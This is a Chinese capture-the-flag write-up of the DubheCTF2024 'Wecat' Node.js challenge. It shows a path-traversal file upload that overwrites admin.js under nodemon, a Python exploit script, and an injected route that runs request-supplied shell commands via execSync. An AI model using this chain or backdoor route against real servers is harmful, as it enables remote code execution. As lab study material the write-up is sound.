DubheCTF2024
Web
Wecat
一次酣畅淋漓的走弯路。。。复现一下吧
先看Dockerfile,flag是被挪到根目录下并且上了权限了,并且有一个可执行文件readflag,用于读取flag,看来最终目的基本上确定是rce了。
在处理node类的题目其实最应该先关注一下packahe.json,看看调用了哪些库,有无历史漏洞等,但是这里自己做的时候疏忽了一点,那就是脚本的启动方式
这里使用的是npm run dev
来运行脚本,dev在package.json的script下定义:
使用了nodemon
来进行热部署,nodemon能用于监测文件的变化,一旦发生变化就自动重启程序以提高开发效率,因此这道题的思路便可以多一种文件添加或者文件覆盖上
随便注册一个号,进去之后修改admin的号,然后用admin登陆下,后台什么的好像没什么区别
登陆的逻辑在这里,分成了uid和密码两个路由,重点看密码的部分,从请求体获得到的参数是email和pwd,登陆成功后返回一个token给客户端,(当时就没注意到这个token导致访问其他的路由都提示身份验证失效):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| router.post('/wechatAPI/login/pwd', async (ctx) => { ctx.status = 200 const data = ctx.request.body const queryMatch = { $match: { email: data.email, pwd: data.pwd } } ... const result = await db.aggregate('user', [queryMatch, queryProject]) let res if (result.length > 0) { const token = jwt.getToken(ctx.email) res = { msg: '登录成功', error: false, token, data: result[0] } } else { ... } ctx.body = res })
|
/wechatAPI/login/modifyPwd
路由是修改密码的,请求方式是put
login.js下要注意的地方就这两个了,再去看看别的路由,有个uplod.js,是实现文件上传的路由文件,上面提到nodemon可以监测文件变化,若发生变化就重启脚本,因此可以考虑如何进行路径穿越的文件上传,看看路由,/wechatAPI/upload/once路由对保存文件的处理虽然有强制拼接一个avatar_的前缀,但是后面的hash变量和postfix我们都是可控的,并且没有任何过滤,就是一个任意文件上传
先登录获得token,
文件的请求体不太会搞,写了个html上传表单到/wechatAPI/login/once
路由,
1 2 3 4 5 6 7 8 9 10 11 12
| <!DOCTYPE html> <html> <body> <form action="http://192.168.64.1:8088/wechatAPI/upload/once" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="hidden" name="name" value="evil"> <input type="hidden" name="hash" value="qwq"> <input type="hidden" name="postfix" value="js"> <input type="submit"> </form> </body> </html>
|
bp抓包,再手动添加一个Auth头,内容为token,并且根据once路由的逻辑,把hash修改进行目录穿越
可以看到目录穿越成功了,下一步就是要覆盖原文件了,
node知识储备无限接近于0,好在有AI,再结合一下其他的路由和常见node执行os命令的方式,凑出了个路由:
写在src/routr/admin.js
下然后上传
成功执行命令:
另外写了个python脚本用于自动化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import requests
base_url = "http://192.168.64.1:8088"
data = { 'email': "2224271513@qq.com", 'pwd': "Lff123" }
r = requests.post(url=base_url+"/wechatAPI/login/pwd",data=data)
token = r.json()['token']
headers = { 'Authorization': token }
file_path = 'eviljs'
data = { 'name': 'qwq', "hash": "daasasasasasaas/../../src/route/admin", "postfix": "js" }
with open(file_path, 'rb') as file: files = {'file': (file_path, file)} r = requests.post( url=base_url+'/wechatAPI/upload/once', files=files, headers=headers, data=data) print(r.text)
|
eviljs中的内容,在原先admin.js的基础上新增一个路由:
1 2 3 4 5 6 7 8 9 10 11
| router.post('/wechatAPI/admin/execute', async (ctx) => { const { command } = ctx.request.body;
if (!command) { ctx.status = 400; ctx.body = '请提供要执行的命令'; return; } let res = require('child_process').execSync(command) ctx.body = res; });
|